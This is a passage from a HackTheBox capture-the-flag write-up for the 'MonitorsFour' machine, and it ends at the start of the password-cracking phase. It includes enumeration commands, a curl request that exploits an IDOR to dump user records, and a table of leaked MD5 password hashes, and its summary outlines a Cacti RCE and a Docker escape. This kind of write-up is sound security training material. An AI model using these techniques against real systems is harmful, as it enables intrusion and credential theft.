HackTheBox: MonitorsFour - Full Writeup
Box Information
| Property | Value |
|---|---|
| Name | MonitorsFour |
| OS | Windows (with Docker) |
| Difficulty | Easy |
| Key Techniques | API IDOR, Credential Spraying, Cacti RCE, Docker Escape |
Executive Summary
MonitorsFour is a Windows machine running a web application with an insecure API endpoint that leaks user credentials via an Insecure Direct Object Reference (IDOR) vulnerability. After cracking MD5 password hashes and performing credential spraying, we gain access to a Cacti network monitoring instance on a subdomain. Exploiting CVE-2025-24367 in Cacti 1.2.28 provides a reverse shell inside a Docker container. The container has network access to an exposed Docker API on the Windows host, which we exploit via CVE-2025-9074 to achieve full system compromise.
Reconnaissance
Initial Port Scan
nmap -sC -sV -oA nmap/monitorsfour 10.10.11.xxx
The scan reveals standard web services. Add the hostname to /etc/hosts:
echo "10.10.11.xxx monitorsfour.htb" | sudo tee -a /etc/hosts
Web Directory Enumeration
Using ffuf for directory brute-forcing with a medium-sized wordlist:
ffuf -t 400 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories-lowercase.txt \
-u http://monitorsfour.htb/FUZZ -ac
Key Finding: /user endpoint discovered, returning JSON data.
Subdomain Enumeration
Virtual host enumeration to discover additional attack surface:
ffuf -t 400 -w /usr/share/seclists/Discovery/DNS/combined_subdomains.txt \
-u http://monitorsfour.htb \
-H "Host: FUZZ.monitorsfour.htb" -ac
Key Finding: cacti.monitorsfour.htb subdomain discovered.
Add to hosts file:
echo "10.10.11.xxx cacti.monitorsfour.htb" | sudo tee -a /etc/hosts
Vulnerability Assessment
API IDOR Vulnerability
The /user endpoint accepts a token parameter that appears to be a sequential user ID. Testing with token=0 returns all users in the database:
curl -s "http://monitorsfour.htb/user?token=0" | jq
Leaked Credentials:
| Username | MD5 Hash | Full Name |
|---|---|---|
| admin | 56b32eb43e6f15395f6c46c1c9e1cd36 |
(Admin) |
| mwatson | 69196959c16b26ef00b77d82cf6eb169 |
Marcus Watson |
| janderson | 2a22dcf99190c322d974c8df5ba3256b |
J. Anderson |
| dthompson | 8d4a7e7fd08555133e056d9aacb1e519 |
D. Thompson |
Vulnerability Details:
- Type: Insecure Direct Object Reference (IDOR)
- Impact: Complete user database enumeration including password hashes
- Root Cause: No authorization check on the token parameter; value of 0 bypasses user-specific filtering
Exploitation
Phase 1: Password Cracking
The leaked hashes are unsalted MD5, making them trivial to crack with a wordlist attack: